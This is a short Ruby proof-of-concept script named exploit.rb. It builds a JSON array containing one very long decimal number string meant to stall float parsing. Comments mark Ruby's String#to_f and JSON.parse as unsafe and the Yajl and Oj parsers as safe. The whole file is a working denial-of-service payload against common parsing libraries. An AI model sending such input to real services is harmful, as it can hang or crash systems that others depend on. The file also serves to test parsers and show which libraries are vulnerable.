exploit.rb

require 'yajl'
require 'json'
require 'oj'

def digit_pattern
  digit_pattern ||= rand(10000).to_s
end

def integer_part
  digit_pattern
end

def multiplier
  (500000 * (1.0/digit_pattern.size)).to_i
end

def fractional_part
  digit_pattern * multiplier
end

def evil_float_string
  [integer_part,fractional_part].join('.')
end

sploit = '['
sploit << evil_float_string
sploit << ']'

#evil_float_string.to_f              #UNSAFE
#JSON.parse sploit                   #UNSAFE
#Yajl::Parser.parse sploit           #SAFE
#Oj.load sploit                      #SAFE